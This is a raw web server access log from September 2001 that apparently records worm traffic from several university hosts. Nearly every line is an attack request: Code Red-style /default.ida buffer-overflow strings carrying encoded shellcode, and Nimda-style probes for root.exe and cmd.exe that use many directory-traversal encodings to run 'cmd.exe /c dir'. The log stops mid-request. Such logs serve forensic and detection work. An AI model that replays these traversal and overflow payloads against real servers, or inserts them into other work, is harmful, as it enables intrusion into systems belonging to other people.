depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 01:30:57: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 01:49:37: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 01:49:55: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:50:13: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:50:31: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:50:49: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:51:08: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:51:26: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:51:44: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:52:02: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:52:20: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:52:38: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:52:57: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:53:15: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:53:33: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:53:51: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:54:09: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 02:03:37: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 02:03:55: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:04:13: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:04:31: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:04:50: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:05:08: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 02:05:26: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:05:44: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 02:06:02: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:06:20: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:06:39: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:06:57: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:07:15: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:07:33: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:07:51: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:08:10: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:08:28: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:08:46: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:09:04: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:09:22: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:09:40: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:09:59: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:10:17: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:10:35: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:10:53: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:11:11: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:11:30: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:11:48: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:12:06: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:12:24: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:12:42: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:13:00: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 02:33:24: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 02:33:42: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:34:01: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:34:19: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:34:37: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:34:55: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:35:13: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:35:32: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:35:50: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:36:08: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:36:26: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:36:44: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:37:02: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:37:21: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:37:39: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 02:37:57: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 02:40:22: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 02:47:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 02:49:09: me216006.reshsg.uci.edu [128.195.216.6] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 03:02:15: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 03:09:01: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 03:09:19: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:09:37: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:09:56: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:10:14: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:10:32: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:10:50: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:11:08: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:11:27: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:11:45: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:12:03: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:12:21: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:12:39: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:12:57: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:13:16: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:13:34: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 03:15:33: 66-65-1-234.nyc.rr.com [66.65.1.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 03:20:18: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 03:32:13: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 03:32:31: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 03:32:49: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 03:33:07: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:33:26: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:33:44: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:34:02: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:34:20: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:34:38: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:34:57: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:35:15: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:35:33: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:35:51: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:36:09: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:36:27: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:36:46: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:37:04: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:37:22: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:37:40: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:37:58: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:38:16: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:38:35: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:38:53: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:39:11: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:39:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 03:39:29: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:39:47: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:40:06: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:40:24: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:40:42: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:41:00: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 03:41:18: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:41:37: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:41:55: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 03:42:13: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:42:31: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:42:49: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:43:07: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:43:26: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:43:44: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:44:02: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:44:20: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:44:38: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:44:57: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:45:15: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:45:33: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:45:51: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:46:09: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:46:27: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 03:57:29: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 03:57:47: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:58:05: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:58:24: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:58:42: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:59:00: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:59:18: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:59:36: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 03:59:54: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:00:13: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:00:31: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:00:49: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:01:07: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:01:25: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:01:43: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:02:02: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 04:05:54: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 04:05:56: pvil-c-157.resnet.purdue.edu [128.211.254.157] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:06:01: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 04:31:55: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 04:32:13: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:32:31: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:32:49: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:33:08: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:33:26: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:33:44: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:34:02: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:34:20: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:34:38: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:34:57: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:35:15: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:35:33: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:35:51: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:09: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:28: food-ts.tamu.edu [128.194.225.54] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:29: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:30: food-ts.tamu.edu [128.194.225.54] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:36:30: [128.121.19.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 04:55:34: [128.121.19.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 04:55:53: [128.121.19.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:56:11: [128.121.19.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:56:33: [128.121.19.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:56:51: [128.121.19.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:57:09: [128.121.19.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 04:57:27: [128.121.19.225] "GET 